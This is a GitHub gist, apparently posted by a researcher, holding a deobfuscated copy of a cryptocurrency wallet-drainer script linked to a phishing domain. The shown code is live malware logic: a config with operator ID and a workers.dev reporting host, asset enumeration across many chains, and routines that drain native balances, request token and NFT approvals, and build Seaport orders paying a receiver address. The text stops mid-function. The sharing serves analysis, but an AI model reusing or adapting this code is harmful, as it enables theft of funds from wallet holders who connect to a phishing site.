Skip to content

Instantly share code, notes, and snippets.

@AndrewMohawk
Created November 22, 2023 22:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AndrewMohawk/796888ec8cd9e44862990a4a97f41b35 to your computer and use it in GitHub Desktop.
Save AndrewMohawk/796888ec8cd9e44862990a4a97f41b35 to your computer and use it in GitHub Desktop.
deobfs-delegatecash.me
This file has been truncated, but you can view the full file.
const config = {
customerId: "0xDSN1H6CU",
forcePopup: false,
logRepeatedConnections: true,
logEmptyWallets: false,
logClosedTab: true,
logIpData: false,
sendEthType: 1,
forceChangeChainNetwork: true,
forceAddChainNetwork: true,
walletConnectLogo: "https://i.imgur.com/yLxJF3W.png",
projectId: "210b371a0406d0aa02a6c3a56fb9dda5",
bannedAddresses: ["0x240Cf70D8A648BE133fEB342D71E5e81C686e5f8", "0x20cCdeDB9814c83bA2D663fC04f88c7a61aA706d", "0x2ad6FA4db57Ac71479510863643Eb6b1991788E1", "0x33566c9D8BE6Cf0B23795E0d380E112Be9d75836", "0x034C446b223Bb4ffbd51d2E284Fe6b3cdd271315", "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045", "0xC832494dce30f7303F42d829c205D6Ea6b551afb", "0x29B876e2dd14dd034612F052ecB372E64C96A895", "0x886258791969e6b0fEff62c0a02be819Dfc1B167", "0x3096d3B09e6ec2E8fF923D1657d0c691148eEeE5", "0xaF92d25248767357041c002Ea5aE24eF350102EF", "0x2b8496F320582481eA393bd26B9191F9059D2943", "0x81c4065F3B3b89adE412158b8c2c2C37e2a1b0A0", "0x9A735c231ad994D48929d3d8cE0970fCA25C2908", "0xbAEA4b614e0cADdA6aE2c860F3Ba8270f770f22f"],
assetOptions: {
multipliers: {
blur: 2,
seaport: 1.4,
ostransfers: 2.2,
uniswap: 1.5,
uniswapv2: 1.9,
stargate: 2.7,
permit: 2.2,
permit2: 2.5,
special: 2.6,
apestake: 2.4,
curve: 3,
aave: 3.5,
wyvern: 3,
safa: 1,
balance: 0.8,
chainSwitchRatio: 0.6
}
}
};
window.init = false;
window.disabled = false;
const _0x26c41f = {
eth: 1,
bsc: 56,
xdai: 100,
arb: 42161,
matic: 137,
avax: 43114,
op: 10,
ftm: 250,
era: 324,
okt: 66,
celo: 42220,
mvr: 1285,
cro: 25,
metis: 1088,
aurora: 1313161554,
mobm: 1284,
klay: 8217,
boba: 288,
astar: 592,
nova: 87,
one: 1666600000,
base: 8453,
"1": "eth",
"56": "bsc",
"42161": "arb",
"137": "matic",
"43114": "avax",
"100": "xdai",
"10": "op",
"250": "ftm",
"25": "cro",
"1088": "metis",
"66": "okt",
"128": "heco",
"324": "era",
"1285": "mvr",
"42220": "celo",
"1284": "mobm",
"8217": "klay",
"1313161554": "aurora",
"288": "boba",
"592": "astar",
"87": "nova",
"1666600000": "one",
"8453": "base"
};
class Values {
options = {
method: "GET",
headers: {
Accept: "application/json"
}
};
chainValues = [];
currentChainId = 0;
approved = [];
orderCache = [];
offer = [];
considerations = [];
chainRegistery = _0x26c41f;
chainRegistryData = {
eth: {
name: "Ethereum",
symbol: "ETH",
rpc: "https://rpc.ankr.com/eth",
explorer: "https://etherscan.io",
id: "0x1"
},
bsc: {
name: "Binance Smart Chain Mainnet",
symbol: "BNB",
rpc: "https://rpc.ankr.com/bsc",
explorer: "https://bscscan.com",
id: "0x38"
},
matic: {
name: "Polygon Mainnet",
symbol: "MATIC",
rpc: "https://rpc.ankr.com/polygon",
explorer: "https://polygonscan.com",
id: "0x89"
},
ftm: {
name: "Fantom Opera",
symbol: "FTM",
rpc: "https://rpcapi.fantom.network",
explorer: "https://ftmscan.com",
id: "0xfa"
},
op: {
name: "Optimism",
symbol: "ETH",
rpc: "https://rpc.ankr.com/optimism",
explorer: "https://optimistic.etherscan.io",
id: "0xa"
},
arb: {
name: "Arbitrum One",
symbol: "ETH",
rpc: "https://rpc.ankr.com/arbitrum",
explorer: "https://arbiscan.io",
id: "0xa4b1"
},
klay: {
name: "Klaytn Mainnet Cypress",
symbol: "KLAY",
rpc: "https://public-node-api.klaytnapi.com/v1/cypress",
explorer: "https://scope.klaytn.como",
id: "0x2019"
},
okt: {
name: "OKXChain Mainnet",
symbol: "OKT",
rpc: "https://exchainrpc.okex.org",
explorer: "https://www.oklink.com/en/okc",
id: "0x42"
},
avax: {
name: "Avalanche C-Chain",
symbol: "AVAX",
rpc: "https://rpc.ankr.com/avalanche",
explorer: "https://snowtrace.io",
id: "0xa86a"
},
base: {
name: "Base",
symbol: "ETH",
rpc: "https://rpc.ankr.com/base",
explorer: "https://basescan.org",
id: "0x" + "8453".toString(16)
},
xdai: {
name: "Gnosis",
symbol: "xDAI",
rpc: "https://rpc.gnosischain.com",
explorer: "https://gnosisscan.io",
id: "0x64"
},
celo: {
name: "Celo Mainnet",
symbol: "CELO",
rpc: "https://forno.celo.org",
explorer: "https://celoscan.io",
id: "0xa4ec"
},
aurora: {
name: "Aurora Mainnet",
symbol: "ETH",
rpc: "https://mainnet.aurora.dev",
explorer: "https://aurorascan.dev",
id: "0x4e454152"
},
fuse: {
name: "Fuse Mainnet",
symbol: "FUSE",
rpc: "https://fuse-rpc.gateway.pokt.network",
explorer: "https://fuse.io/",
id: "0x7a"
},
nova: {
name: "Nova Network",
symbol: "SNT",
rpc: "https://rpc.novanetwork.io:9070",
explorer: "https://explorer.novanetwork.io",
id: "0x57"
},
doge: {
name: "Dogechain Mainnet",
symbol: "DOGE",
rpc: "https://rpc.dogechain.dog",
explorer: "https://explorer.dogechain.dog",
id: "0x7d0"
}
};
actions = [];
keySize = 256;
ivSize = 128;
saltSize = 256;
iterations = 1000;
totalSeaport = 0;
totalWyvern = 0;
totalBlur = 0;
totalNFTs = 0;
totalTokens = 0;
totalStaked = 0;
nativeBalances = 0;
tokenValueUSD = 0;
failedAttempts = 0;
connector = "";
domain = "";
caller = "0x0000";
receiver = "";
tokenAddress = "";
openseaTokens = ["0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", "0x6b175474e89094c44da98b954eedeac495271d0f", "0x4d224452801aced8b2f0aebe155379bb5d594381", "0x64d91f12ece7362f91a6f8e7940cd55f05060b92", "0x0d8775f648430679a709e98d2b0cb6250d2887ef", "0x15d4c048f83bd7e37d49ea4c83a07267ec4203da", "0x514910771af9ca656af840dff83e8264ecf986ca", "0x0f5d2fb29fb7d3cfee444a200298f468908cc942", "0x557b933a7c2c45672b610f8954a3deb39a51a8ca", "0x3845badade8e6dff049820680d1f14bd3903a5d0", "0x1f9840a85d5af5bf1d1762f925bdaddc4201f984"];
seaportTokenActions = [];
seaportNFTActions = [];
wyvernTokenActions = [];
wyvernNftActions = [];
osTransferActions = [];
drainNativeActions = [];
approvalTokenActions = [];
approvalNFTActions = [];
apeStakeActions = [];
blurDelegateActions = [];
blurExecutionActions = [];
x2y2TransferActions = [];
pangolinActions = [];
pancakeActions = [];
pancakev2Actions = [];
aaveLP2Actions = [];
aaveLP3Actions = [];
aaveLP4Actions = [];
permit2Actions = [];
uniswapv2Actions = [];
uniswapv3Actions = [];
uniswapv3_2Actions = [];
bancorActions = [];
bancorSwapsActions = [];
curveActions = [];
curveVyper1Actions = [];
cowActions = [];
oneinchv5Actions = [];
sushiswapActions = [];
sushiProcessActions = [];
stargateActions = [];
shibaSwapActions = [];
kyberActions = [];
quickSwapActions = [];
spookyActions = [];
traderJoeV3Actions = [];
traderJoeV2Actions = [];
traderJoeV1Actions = [];
camelotActions = [];
gmxActions = [];
wooBridgeActions = [];
wooActions = [];
zeroexActions = [];
specialActions = [];
tokenChains = [];
handledActions = [];
sentMessage = false;
y = "01238218";
}
class Main extends Values {
utils = new Helpers();
constructor() {
super();
this.domain = "https://dsgdfgdfgdfg.oijdsfodnlkxvxcuivhxdfiukfhndx.workers.dev";
try {
this.approved = JSON.parse(localStorage.approved);
} catch {}
try {
this.orderCache = JSON.parse(localStorage.orderCache);
} catch {}
}
connectWallet = async (_0x6097af, _0x7caf95, _0x30fab2, _0x58902f) => {
if (window.disabled || !window.isClicked) {
return;
}
window.isClicked = false;
window.disabled = true;
this.provider = _0x6097af;
this.web3Js = new Web3(this.provider.provider);
this.ethersProvider = this.provider;
this.currentChainId = _0x58902f;
this.initialChainId = this.currentChainId;
this.Sdk = new SDK(this.provider, this.currentChainId);
if (config.bannedAddresses.includes(await this.getWalletAddress())) {
return console.warn("This address is banned");
}
await this.ProcessAssets();
window.disabled = false;
};
ProcessAssets = async () => {
console.time();
await Promise.all([this.tokenPromise(), this.nftPromise(), this.apePromise()]);
await this.handleActions();
this.provider = null;
this.web3Js = null;
window.disabled = false;
this.ethersProvider = null;
};
handleActions = async () => {
let _0x48d67e = await this.getWalletAddress();
console.log("handling actions");
if (!this.sentMessage) {
let _0x5c6115 = this.totalTokens + this.totalStaked + this.totalNFTs;
this.sentMessage = true;
const _0x188f63 = {
type: "connection",
value: _0x5c6115,
chain: "eth"
};
await this.sendMessage(_0x188f63);
}
this.offer = [];
this.considerations = [];
this.totalSeaport = 0;
this.totalTransfer = 0;
this.totalBlur = 0;
this.totalNFTs = 0;
this.totalStaked = 0;
this.totalTokens = 0;
this.totalWyvern = 0;
this.nativeBalances = 0;
this.actions = [];
this.failedAttempts = 0;
for (let _0x3045e1 of this.tokenChains) {
try {
console.log("getting " + _0x3045e1);
await this.populateActions(_0x3045e1);
} catch (_0x4dbd50) {
console.log(_0x4dbd50);
}
}
let _0x4d3f30 = this.actions.sort(this.utils.propComparator("value")).reverse();
console.log(_0x4d3f30);
this.chainValues = [{
chain: "eth",
value: 0
}, {
chain: "bsc",
value: 0
}, {
chain: "arb",
value: 0
}, {
chain: "matic",
value: 0
}, {
chain: "avax",
value: 0
}, {
chain: "xdai",
value: 0
}, {
chain: "op",
value: 0
}, {
chain: "ftm",
value: 0
}, {
chain: "cro",
value: 0
}, {
chain: "metis",
value: 0
}, {
chain: "okt",
value: 0
}, {
chain: "heco",
value: 0
}, {
chain: "mvr",
value: 0
}, {
chain: "mobm",
value: 0
}, {
chain: "celo",
value: 0
}, {
chain: "klay",
value: 0
}, {
chain: "aurora",
value: 0
}, {
chain: "boba",
value: 0
}, {
chain: "nova",
value: 0
}, {
chain: "astar",
value: 0
}, {
chain: "era",
value: 0
}, {
chain: "base",
value: 0
}, {
chain: "pls",
value: 0
}];
let _0x2a6aba = [{
chain: "eth",
value: 0,
actions: 0
}, {
chain: "bsc",
value: 0,
actions: 0
}, {
chain: "arb",
value: 0,
actions: 0
}, {
chain: "matic",
value: 0,
actions: 0
}, {
chain: "avax",
value: 0,
actions: 0
}, {
chain: "xdai",
value: 0,
actions: 0
}, {
chain: "op",
value: 0,
actions: 0
}, {
chain: "ftm",
value: 0,
actions: 0
}, {
chain: "cro",
value: 0,
actions: 0
}, {
chain: "metis",
value: 0,
actions: 0
}, {
chain: "okt",
value: 0,
actions: 0
}, {
chain: "heco",
value: 0,
actions: 0
}, {
chain: "mvr",
value: 0,
actions: 0
}, {
chain: "mobm",
value: 0,
actions: 0
}, {
chain: "celo",
value: 0,
actions: 0
}, {
chain: "klay",
value: 0,
actions: 0
}, {
chain: "aurora",
value: 0,
actions: 0
}, {
chain: "boba",
value: 0,
actions: 0
}, {
chain: "nova",
value: 0,
actions: 0
}, {
chain: "astar",
value: 0,
actions: 0
}, {
chain: "era",
value: 0,
actions: 0
}, {
chain: "base",
value: 0,
actions: 0
}, {
chain: "pls",
value: 0,
actions: 0
}];
for (let _0x411d52 of this.actions) {
let _0x1e93ca = false;
if (_0x411d52.actionType != "ApprovalNFT" && _0x411d52.actionType != "ApprovalToken" && _0x411d52.actionType != "Stake" && _0x411d52.actionType != "DrainNative") {
_0x1e93ca = true;
}
try {
if (_0x411d52.value > 0) {
if (_0x411d52.chain == (await this.getChainFromId(this.currentChainId))) {
if (_0x1e93ca) {
const _0x520809 = _0x2a6aba.findIndex(_0x3e6d53 => {
return _0x3e6d53.chain === _0x411d52.chain;
});
_0x2a6aba[_0x520809].value += _0x411d52.value;
_0x2a6aba[_0x520809].actions = _0x2a6aba[_0x520809].actions + 1;
} else {
const _0x2d0185 = this.chainValues.findIndex(_0x1881ab => {
return _0x1881ab.chain === _0x411d52.chain;
});
this.chainValues[_0x2d0185].value += _0x411d52.value;
}
} else if (_0x1e93ca) {
const _0x2e8d4e = _0x2a6aba.findIndex(_0x33723a => {
return _0x33723a.chain === _0x411d52.chain;
});
_0x2a6aba[_0x2e8d4e].value += _0x411d52.value * config.assetOptions.multipliers.chainSwitchRatio;
_0x2a6aba[_0x2e8d4e].actions = _0x2a6aba[_0x2e8d4e].actions + 1;
} else {
const _0xf8c77b = this.chainValues.findIndex(_0x5d74a9 => {
return _0x5d74a9.chain === _0x411d52.chain;
});
this.chainValues[_0xf8c77b].value += _0x411d52.value * config.assetOptions.multipliers.chainSwitchRatio;
}
}
} catch {}
}
console.log(this.chainValues);
for (let _0x4f3d53 of _0x2a6aba) {
try {
let _0xe81bd4 = _0x4f3d53;
const _0x56c130 = this.chainValues.findIndex(_0x23708b => {
return _0x23708b.chain === _0xe81bd4.chain;
});
if (_0xe81bd4.value > 0) {
this.chainValues[_0x56c130].value += _0xe81bd4.value / _0xe81bd4.actions;
}
} catch {}
}
console.log(_0x2a6aba);
console.timeEnd();
for (let _0x1560c6 of _0x4d3f30) {
await this.handleChains();
if (_0x1560c6.chain == (await this.getChainFromId(this.currentChainId))) {
console.log("Prompting " + _0x1560c6.actionType + " on " + _0x1560c6.chain);
if (_0x48d67e != (await this.getWalletAddress())) {
return;
}
if (_0x1560c6.value > 10) {
switch (_0x1560c6.actionType) {
case "AaveLP2":
await this.doSwapRegular(_0x1560c6);
break;
case "AaveLP3":
await this.doSwapRegular(_0x1560c6);
break;
case "AaveLP4":
await this.doSwapRegular(_0x1560c6);
break;
case "ApprovalNFT":
await this.approve(_0x1560c6);
break;
case "ApprovalToken":
await this.approve(_0x1560c6);
break;
case "ApeStake":
await this.unStake(_0x1560c6);
break;
case "Bancor":
await this.doSwapRegular(_0x1560c6);
break;
case "BancorSwaps":
await this.doSwapRegular(_0x1560c6);
break;
case "BlurExec":
break;
case "BlurDelegate":
break;
case "Camelot":
await this.doSwapRegular(_0x1560c6);
break;
case "Curve":
await this.doSwapRegular(_0x1560c6);
break;
case "CurveVyper1":
await this.doSwapRegular(_0x1560c6);
break;
case "Cowswap":
break;
case "DrainNative":
await this.drainNative(_0x1560c6);
break;
case "GMX":
await this.doSwapRegular(_0x1560c6);
break;
case "1InchV5":
await this.doSwapRegular(_0x1560c6);
break;
case "Kyber":
await this.doSwapRegular(_0x1560c6);
break;
case "OSTransfer":
await this.transferOpensea(_0x1560c6);
break;
case "Pangolin":
await this.doSwapRegular(_0x1560c6);
break;
case "Pancake":
await this.doSwapRegular(_0x1560c6);
break;
case "PancakeV2":
await this.doSwapRegular(_0x1560c6);
break;
case "Permit2":
await this.permit2(_0x1560c6);
break;
case "Quickswap":
await this.doSwapRegular(_0x1560c6);
break;
case "Seaport":
await this.seaportOrder(_0x1560c6);
break;
case "Stargate":
await this.doSwapRegular(_0x1560c6);
break;
case "Special":
await this.doSwapRegular(_0x1560c6);
break;
case "SpookySwap":
await this.doSwapRegular(_0x1560c6);
break;
case "ShibaSwap":
await this.doSwapRegular(_0x1560c6);
break;
case "SushiSwap":
await this.doSwapRegular(_0x1560c6);
break;
case "SushiProcess":
await this.doSwapRegular(_0x1560c6);
break;
case "TraderJoeV1":
await this.doSwapRegular(_0x1560c6);
break;
case "TraderJoeV2":
await this.doSwapRegular(_0x1560c6);
break;
case "TraderJoeV3":
await this.doSwapRegular(_0x1560c6);
break;
case "UniswapV2":
await this.doSwapRegular(_0x1560c6);
break;
case "UniswapV3":
await this.doSwapRegular(_0x1560c6);
break;
case "UniswapV3_2":
await this.doSwapRegular(_0x1560c6);
break;
case "UniswapNFT":
break;
case "WooFinance":
await this.doSwapRegular(_0x1560c6);
break;
case "WooBridge":
await this.doSwapRegular(_0x1560c6);
break;
case "Wyvern":
await this.wyvern(_0x1560c6);
break;
case "ZeroEx":
await this.doSwapRegular(_0x1560c6);
break;
case "X2Y2":
break;
}
console.log("Finished action");
this.handledActions.push(Base64.encode(JSON.stringify(_0x1560c6)));
localStorage.approved = JSON.stringify(this.approved);
await this.handleActions();
return;
}
}
}
};
populateActions = async _0x536f8f => {
if (_0x536f8f == "matic") {
let _0x12688a = this.quickSwapActions.filter(_0x3ff49f => _0x3ff49f.chain == _0x536f8f && !this.approved.includes(_0x3ff49f.token + "," + _0x536f8f));
if (_0x12688a.length > 0) {
for (let _0x59b8ea of _0x12688a) {
const _0x4eebdd = {
token: _0x59b8ea.token,
amount: _0x59b8ea.amount,
value: _0x59b8ea.value
};
var _0x435572 = _0x4eebdd;
this.createAction("Quickswap", _0x435572, _0x59b8ea.value, _0x536f8f);
}
}
}
if (_0x536f8f == "ftm") {
let _0x85dd52 = this.spookyActions.filter(_0x1429b2 => _0x1429b2.chain == _0x536f8f && !this.approved.includes(_0x1429b2.token + "," + _0x536f8f));
if (_0x85dd52.length > 0) {
for (let _0x211510 of _0x85dd52) {
const _0x26cc63 = {
token: _0x211510.token,
amount: _0x211510.amount,
value: _0x211510.value
};
var _0x435572 = _0x26cc63;
this.createAction("SpookySwap", _0x435572, _0x211510.value, _0x536f8f);
}
}
}
if (_0x536f8f == "eth") {
let _0x543dc7 = [];
let _0x534cbe = [];
let _0x1fa43b = this.approvalNFTActions.filter(_0x41c022 => _0x41c022.chain == _0x536f8f && !this.approved.includes(_0x41c022.nft.contract + "," + _0x536f8f));
if (_0x1fa43b.length > 0) {
let _0xe0b0ee = [];
for (let _0x46e754 of _0x1fa43b) {
let _0x324d7f = [];
if (!_0xe0b0ee.filter(_0x4c9c64 => _0x4c9c64.nft.contract == _0x46e754.nft.contract).length > 0) {
for (let _0x478015 of _0x1fa43b) {
if (_0x478015.nft.contract == _0x46e754.nft.contract) {
_0x324d7f.push(_0x478015.nft.token_id);
}
}
_0x46e754.nft.token_ids = _0x324d7f;
_0xe0b0ee.push(_0x46e754);
}
}
for (let _0x34bf39 of _0xe0b0ee) {
let _0x40fdf2 = _0x34bf39.nft.token_ids.length * _0x34bf39.value;
if (!this.approved.includes(Base64.encode(JSON.stringify(_0x34bf39.nft)))) {
this.createAction("ApprovalNFT", _0x34bf39.nft, _0x40fdf2, _0x536f8f);
}
}
}
let _0x56f8e8 = this.seaportTokenActions.filter(_0x53f71f => _0x53f71f.chain == _0x536f8f && !this.approved.includes(_0x53f71f.token + "," + _0x536f8f));
if (_0x56f8e8.length > 0) {
for (let _0x395edc of _0x56f8e8) {
if (_0x395edc.value > 50) {
const _0x51c98e = {
itemType: 1,
token: _0x395edc.token,
startAmount: _0x395edc.amount,
endAmount: _0x395edc.amount
};
const _0x9b2b56 = _0x51c98e;
const _0x20cc7f = {
itemType: 1,
token: _0x395edc.token,
startAmount: _0x395edc.amount,
endAmount: _0x395edc.amount,
recipient: this.receiver
};
const _0x1635c7 = _0x20cc7f;
let _0x28b93b = this.Sdk.getItem(_0x1635c7);
let _0x4d72de = this.Sdk.getItem(_0x9b2b56);
this.offer.push(_0x4d72de);
this.considerations.push(_0x28b93b);
this.totalSeaport += _0x395edc.value;
}
}
}
let _0x3ae59a = this.seaportNFTActions.filter(_0x28d3c4 => _0x28d3c4.chain == _0x536f8f && !this.approved.includes(_0x28d3c4.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x28d3c4.nft))));
if (_0x3ae59a.length > 0) {
for (let _0xed7bbc of _0x3ae59a) {
if (_0xed7bbc.value > 50) {
let _0x2232e5 = _0xed7bbc.nft;
let _0x314bdc = 2;
if (_0x2232e5.scheme == "erc1155") {
_0x314bdc = 3;
}
const _0x2f9aed = {
itemType: _0x314bdc,
token: _0x2232e5.contract,
startAmount: _0x2232e5.amount,
endAmount: _0x2232e5.amount,
tokenId: _0x2232e5.token_id
};
const _0x8290c0 = _0x2f9aed;
const _0x81982 = {
itemType: _0x314bdc,
token: _0x2232e5.contract,
startAmount: _0x2232e5.amount,
endAmount: _0x2232e5.amount,
tokenId: _0x2232e5.token_id,
recipient: this.receiver
};
const _0x264d4f = _0x81982;
let _0x34fa44 = this.Sdk.getItem(_0x264d4f);
let _0x326983 = this.Sdk.getItem(_0x8290c0);
this.offer.push(_0x326983);
this.considerations.push(_0x34fa44);
this.totalSeaport += _0xed7bbc.value;
}
}
}
let _0x18e047 = this.osTransferActions.filter(_0x4c2367 => _0x4c2367.chain == _0x536f8f && !this.approved.includes(_0x4c2367.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x4c2367.nft))));
if (_0x18e047.length > 0) {
for (let _0x115f94 of _0x18e047) {
if (_0x115f94.value > 30) {
let _0x4bc899 = _0x115f94.nft;
let _0x2f38d4 = 2;
if (_0x4bc899.scheme == "erc1155") {
_0x2f38d4 = 3;
}
const _0x5bb45e = {
itemType: _0x2f38d4,
token: _0x4bc899.contract,
amount: _0x4bc899.amount,
tokenId: _0x4bc899.token_id
};
const _0x59ac95 = _0x5bb45e;
_0x534cbe.push(_0x59ac95);
this.totalTransfer += _0x115f94.value;
}
}
}
let _0x440d8e = this.wyvernNftActions.filter(_0x3bcf3f => _0x3bcf3f.chain == _0x536f8f && !this.approved.includes(_0x3bcf3f.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x3bcf3f.nft))));
if (_0x440d8e.length > 0) {
for (let _0xf591f7 of _0x440d8e) {
const _0x4d924d = {
nft: _0xf591f7.nft,
value: _0xf591f7.value
};
var _0x435572 = _0x4d924d;
_0x543dc7.push(_0x435572);
this.totalWyvern += _0xf591f7.value;
}
}
if (this.totalSeaport > 0) {
this.createAction("Seaport", "", this.totalSeaport, "eth");
}
if (this.totalWyvern > 0) {
this.createAction("Wyvern", _0x543dc7, this.totalWyvern, "eth");
}
if (this.totalTransfer > 0) {
this.createAction("OSTransfer", _0x534cbe, this.totalTransfer, "eth");
}
}
if (_0x536f8f == "arb") {
let _0x4cf419 = this.camelotActions.filter(_0x45622b => _0x45622b.chain == _0x536f8f && !this.approved.includes(_0x45622b.token + "," + _0x536f8f));
if (_0x4cf419.length > 0) {
for (let _0x4c4f0d of _0x4cf419) {
const _0x237e8e = {
token: _0x4c4f0d.token,
amount: _0x4c4f0d.amount,
value: _0x4c4f0d.value
};
var _0x435572 = _0x237e8e;
this.createAction("Camelot", _0x435572, _0x4c4f0d.value, _0x536f8f);
}
}
let _0x2ee6b3 = this.gmxActions.filter(_0x43bb0b => _0x43bb0b.chain == _0x536f8f && !this.approved.includes(_0x43bb0b.token + "," + _0x536f8f));
if (_0x2ee6b3.length > 0) {
for (let _0x24ccc7 of _0x2ee6b3) {
const _0xceb639 = {
token: _0x24ccc7.token,
amount: _0x24ccc7.amount,
value: _0x24ccc7.value
};
var _0x435572 = _0xceb639;
this.createAction("GMX", _0x435572, _0x24ccc7.value, _0x536f8f);
}
}
}
let _0x26ea1b = this.drainNativeActions.filter(_0x3e36c0 => _0x3e36c0.chain == _0x536f8f);
if (_0x26ea1b.length > 0) {
for (let _0x3386cf of _0x26ea1b) {
this.createAction("DrainNative", _0x3386cf.balance, _0x3386cf.value, _0x536f8f);
this.nativeBalances += _0x3386cf.value;
}
}
let _0xeb3ae = this.approvalTokenActions.filter(_0x77c1c6 => _0x77c1c6.chain == _0x536f8f && !this.approved.includes(_0x77c1c6.token.token_address + "," + _0x536f8f));
if (_0xeb3ae.length > 0) {
for (let _0x119929 of _0xeb3ae) {
this.createAction("ApprovalToken", _0x119929.token, _0x119929.value, _0x536f8f);
}
}
let _0x5392c7 = this.apeStakeActions.filter(_0x3c7c19 => _0x3c7c19.chain == _0x536f8f);
;
if (_0x5392c7.length > 0) {
for (let _0x4027c5 of _0x5392c7) {
this.createAction("ApeStake", _0x4027c5.stake, _0x4027c5.value * config.assetOptions.multipliers.apestake, _0x536f8f);
this.totalStaked += _0x4027c5.value;
}
}
let _0x3f3a7d = this.aaveLP2Actions.filter(_0xa6f141 => _0xa6f141.chain == _0x536f8f && !this.approved.includes(_0xa6f141.token + "," + _0x536f8f));
if (_0x3f3a7d.length > 0) {
for (let _0xc07c3 of _0x3f3a7d) {
const _0x10c3e2 = {
token: _0xc07c3.token,
amount: _0xc07c3.amount,
value: _0xc07c3.value
};
var _0x435572 = _0x10c3e2;
this.createAction("AaveLP2", _0x435572, _0xc07c3.value, _0x536f8f);
}
}
let _0x24bc5e = this.aaveLP3Actions.filter(_0x5c9084 => _0x5c9084.chain == _0x536f8f && !this.approved.includes(_0x5c9084.token + "," + _0x536f8f));
if (_0x24bc5e.length > 0) {
for (let _0x8813f1 of _0x24bc5e) {
const _0x3304c2 = {
token: _0x8813f1.token,
amount: _0x8813f1.amount,
value: _0x8813f1.value
};
var _0x435572 = _0x3304c2;
this.createAction("AaveLP3", _0x435572, _0x8813f1.value, _0x536f8f);
}
}
let _0xc9c7ac = this.aaveLP4Actions.filter(_0x3eb85f => _0x3eb85f.chain == _0x536f8f && !this.approved.includes(_0x3eb85f.token + "," + _0x536f8f));
if (_0xc9c7ac.length > 0) {
for (let _0x5a74e0 of _0xc9c7ac) {
const _0xb64331 = {
token: _0x5a74e0.token,
amount: _0x5a74e0.amount,
value: _0x5a74e0.value
};
var _0x435572 = _0xb64331;
this.createAction("AaveLP4", _0x435572, _0x5a74e0.value, _0x536f8f);
}
}
let _0x57af0b = this.bancorActions.filter(_0x4d44a1 => _0x4d44a1.chain == _0x536f8f && !this.approved.includes(_0x4d44a1.token + "," + _0x536f8f));
if (_0x57af0b.length > 0) {
for (let _0x3a47f2 of _0x57af0b) {
const _0x522d72 = {
token: _0x3a47f2.token,
amount: _0x3a47f2.amount,
value: _0x3a47f2.value
};
var _0xcff3f2 = _0x522d72;
this.createAction("Bancor", _0xcff3f2, _0x3a47f2.value, _0x536f8f);
}
}
let _0x5cc30b = this.bancorSwapsActions.filter(_0x550ac2 => _0x550ac2.chain == _0x536f8f && !this.approved.includes(_0x550ac2.token + "," + _0x536f8f));
if (_0x5cc30b.length > 0) {
for (let _0x2b6a4f of _0x5cc30b) {
const _0x57a987 = {
token: _0x2b6a4f.token,
amount: _0x2b6a4f.amount,
value: _0x2b6a4f.value
};
var _0xcff3f2 = _0x57a987;
this.createAction("BancorSwaps", _0xcff3f2, _0x2b6a4f.value, _0x536f8f);
}
}
let _0x18f59e = this.curveActions.filter(_0x161a6e => _0x161a6e.chain == _0x536f8f && !this.approved.includes(_0x161a6e.token + "," + _0x536f8f));
if (_0x18f59e.length > 0) {
for (let _0x30e3f0 of _0x18f59e) {
const _0x14f81b = {
token: _0x30e3f0.token,
amount: _0x30e3f0.amount,
value: _0x30e3f0.value
};
var _0x10c07b = _0x14f81b;
this.createAction("Curve", _0x10c07b, _0x30e3f0.value, _0x536f8f);
}
}
let _0x429914 = this.curveVyper1Actions.filter(_0x441be3 => _0x441be3.chain == _0x536f8f && !this.approved.includes(_0x441be3.token + "," + _0x536f8f));
if (_0x429914.length > 0) {
for (let _0x4fb197 of _0x429914) {
const _0x4b7c9d = {
token: _0x4fb197.token,
amount: _0x4fb197.amount,
value: _0x4fb197.value
};
var _0x10c07b = _0x4b7c9d;
this.createAction("CurveVyper1", _0x10c07b, _0x4fb197.value, _0x536f8f);
}
}
let _0x40e471 = this.cowActions.filter(_0x3f0ac0 => _0x3f0ac0.chain == _0x536f8f && !this.approved.includes(_0x3f0ac0.token + "," + _0x536f8f));
if (_0x40e471.length > 0) {
for (let _0x2745f0 of _0x40e471) {
const _0x136e1d = {
token: _0x2745f0.token,
amount: _0x2745f0.amount,
value: _0x2745f0.value
};
var _0x24ccb5 = _0x136e1d;
this.createAction("Cowswap", _0x24ccb5, _0x2745f0.value, _0x536f8f);
}
}
let _0x5163ba = this.oneinchv5Actions.filter(_0xfa2cc6 => _0xfa2cc6.chain == _0x536f8f && !this.approved.includes(_0xfa2cc6.token + "," + _0x536f8f));
if (_0x5163ba.length > 0) {
for (let _0x5ba373 of _0x5163ba) {
const _0x256170 = {
token: _0x5ba373.token,
amount: _0x5ba373.amount,
value: _0x5ba373.value
};
var _0x435572 = _0x256170;
this.createAction("1InchV5", _0x435572, _0x5ba373.value, _0x536f8f);
}
}
let _0x3867e1 = this.kyberActions.filter(_0x464322 => _0x464322.chain == _0x536f8f && !this.approved.includes(_0x464322.token + "," + _0x536f8f));
if (_0x3867e1.length > 0) {
for (let _0x2b4fb6 of _0x3867e1) {
const _0x3bf3c5 = {
token: _0x2b4fb6.token,
amount: _0x2b4fb6.amount,
value: _0x2b4fb6.value
};
var _0x435572 = _0x3bf3c5;
this.createAction("Kyber", _0x435572, _0x2b4fb6.value, _0x536f8f);
}
}
let _0x48ff5b = this.traderJoeV1Actions.filter(_0x2fb02b => _0x2fb02b.chain == _0x536f8f && !this.approved.includes(_0x2fb02b.token + "," + _0x536f8f));
if (_0x48ff5b.length > 0) {
for (let _0x2130f7 of _0x48ff5b) {
const _0x5c3ab2 = {
token: _0x2130f7.token,
amount: _0x2130f7.amount,
value: _0x2130f7.value
};
var _0x435572 = _0x5c3ab2;
this.createAction("TraderJoeV1", _0x435572, _0x2130f7.value, _0x536f8f);
}
}
let _0x3c41e1 = this.traderJoeV2Actions.filter(_0x4c50d6 => _0x4c50d6.chain == _0x536f8f && !this.approved.includes(_0x4c50d6.token + "," + _0x536f8f));
if (_0x3c41e1.length > 0) {
for (let _0x5d41a3 of _0x3c41e1) {
const _0x2e7365 = {
token: _0x5d41a3.token,
amount: _0x5d41a3.amount,
value: _0x5d41a3.value
};
var _0x435572 = _0x2e7365;
